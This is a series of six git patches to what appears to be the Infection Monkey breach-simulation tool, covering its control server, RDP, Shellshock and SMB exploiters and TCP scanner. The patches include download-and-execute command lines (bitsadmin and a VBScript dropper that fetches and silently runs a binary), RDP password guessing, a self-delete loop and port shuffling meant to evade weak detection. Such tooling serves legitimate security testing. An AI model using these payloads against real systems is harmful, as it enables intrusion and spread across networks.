From e18a19abcc0ba8e5176fe54bdf75895bd60a21ad Mon Sep 17 00:00:00 2001 From: itsikkes Date: Tue, 6 Sep 2016 10:43:38 +0300 Subject: [PATCH 1/6] Switched to tornado as webserver, same as in the island --- monkey_business/cc/main.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/monkey_business/cc/main.py b/monkey_business/cc/main.py index d96f98301..d75d00e6a 100644 --- a/monkey_business/cc/main.py +++ b/monkey_business/cc/main.py @@ -315,4 +315,12 @@ api.add_resource(Connector, '/connector') api.add_resource(JobCreation, '/jobcreate') if __name__ == '__main__': - app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key')) + from tornado.wsgi import WSGIContainer + from tornado.httpserver import HTTPServer + from tornado.ioloop import IOLoop + + http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'}) + http_server.listen(5000) + IOLoop.instance().start() + + #app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key')) From 9b2121502522c817033d188cb795927a9455c557 Mon Sep 17 00:00:00 2001 From: itsikkes Date: Tue, 6 Sep 2016 10:44:05 +0300 Subject: [PATCH 2/6] added tornado --- monkey_business/requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey_business/requirements.txt b/monkey_business/requirements.txt index 84599d796..72ba3938c 100644 --- a/monkey_business/requirements.txt +++ b/monkey_business/requirements.txt @@ -1,3 +1,4 @@ pyVmomi celery -celery[mongodb] \ No newline at end of file +celery[mongodb] +tornado \ No newline at end of file From 39eaca300fe62b131e7bd3baa83ca7323182ab42 Mon Sep 17 00:00:00 2001 From: itsikkes Date: Tue, 6 Sep 2016 11:05:15 +0300 Subject: [PATCH 3/6] RDP: change VBS object to reduce requirements + process is more verbose --- chaos_monkey/exploit/rdpgrinder.py | 7 ++++++- chaos_monkey/model/__init__.py | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index d42fa5953..c0cc6aa27 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -103,6 +103,7 @@ class KeyPressRDPClient(rdp.RDPClientObserver): self._update_lock.release() def _keysSender(self): + LOG.debug("Starting to send keystrokes") while True: if self.closed: @@ -260,6 +261,8 @@ class RdpExploiter(HostExploiter): LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") return False + LOG.info("Started http server on %s", http_path) + cmdline = build_monkey_commandline(host, depth-1) if self._config.rdp_use_vbs_download: @@ -286,9 +289,11 @@ class RdpExploiter(HostExploiter): for password in passwords: try: # run command using rdp. - LOG.info("Trying rdp logging into victim %r with user %s and password '%s'", + LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", host, self._config.psexec_user, password) + LOG.info("RDP logged in to %r", host) + client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index d71adaf48..67c06bf47 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -10,5 +10,5 @@ DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) +RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' From ce3eaa9b2e272eb40699f08a28a798c9590f03f7 Mon Sep 17 00:00:00 2001 From: danielguardicore Date: Wed, 7 Sep 2016 10:16:17 +0300 Subject: [PATCH 4/6] Fixed grequsts/gevents monkey patching of socket code, which lead to paramiko being unable to function after a shellshock scan. --- chaos_monkey/exploit/shellshock.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/chaos_monkey/exploit/shellshock.py b/chaos_monkey/exploit/shellshock.py index 411fe4373..c33dc9c94 100644 --- a/chaos_monkey/exploit/shellshock.py +++ b/chaos_monkey/exploit/shellshock.py @@ -92,7 +92,6 @@ class ShellShockExploiter(HostExploiter): LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc) return False - # copy the monkey dropper_target_path_linux = self._config.dropper_target_path_linux if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): @@ -193,7 +192,7 @@ class ShellShockExploiter(HostExploiter): Checks if which urls exist :return: Sequence of URLs to try and attack """ - import grequests + import grequests # at this point, it monkey patches half the world and we must stop it attack_path = 'http://' if is_https: attack_path = 'https://' @@ -203,6 +202,10 @@ class ShellShockExploiter(HostExploiter): resps = grequests.map(reqs, size=15) valid_resps = [resp for resp in resps if resp and resp.status_code == requests.codes.ok] urls = [resp.url for resp in valid_resps] + + # revert monkey patch + import socket # this is the monkeypatched socket module + reload(socket) return urls @staticmethod From 9f27825789cc7648b3aaed5aa0803d5cab13b0b8 Mon Sep 17 00:00:00 2001 From: danielguardicore Date: Wed, 7 Sep 2016 19:01:19 +0300 Subject: [PATCH 5/6] Changed tcp scanning to be a bit more random. Might confuse really basic defenses. --- chaos_monkey/network/tcp_scanner.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/chaos_monkey/network/tcp_scanner.py b/chaos_monkey/network/tcp_scanner.py index 5fcb27c52..8ce715f7f 100644 --- a/chaos_monkey/network/tcp_scanner.py +++ b/chaos_monkey/network/tcp_scanner.py @@ -1,4 +1,5 @@ import time +from random import shuffle from network import HostScanner, HostFinger from model.host import VictimHost from network.tools import check_port_tcp @@ -19,8 +20,11 @@ class TcpScanner(HostScanner, HostFinger): assert isinstance(host, VictimHost) count = 0 + # maybe hide under really bad detection systems + target_ports = self._config.tcp_target_ports[:] + shuffle(target_ports) - for target_port in self._config.tcp_target_ports: + for target_port in target_ports: is_open, banner = check_port_tcp(host.ip_addr, target_port, From d2203b222006a5f27e8cc468a74748772a8e03c0 Mon Sep 17 00:00:00 2001 From: danielguardicore Date: Wed, 7 Sep 2016 19:10:30 +0300 Subject: [PATCH 6/6] Removed legacy ChaosMonkey from SMB execution. --- chaos_monkey/config.py | 2 ++ chaos_monkey/example.conf | 1 + chaos_monkey/exploit/smbexec.py | 2 +- 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 01ad9a566..a7c4abadb 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -208,6 +208,8 @@ class Configuration(object): # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds + smb_service_name = "InfectionMonkey" + # system info collection collect_system_info = True diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 69e559275..671eca8e2 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -66,6 +66,7 @@ "range_size": 30, "rdp_use_vbs_download": true, "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey", "retry_failed_explotation": true, "scanner_class": "TcpScanner", "self_delete_in_cleanup": true, diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index e0571a6a1..6f2177264 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -141,7 +141,7 @@ class SmbExploiter(HostExploiter): sc_handle = resp['lpScHandle'] # start the monkey using the SCM - resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, "Chaos Monkey", "Chaos Monkey", + resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name, lpBinaryPathName=cmdline) service = resp['lpServiceHandle']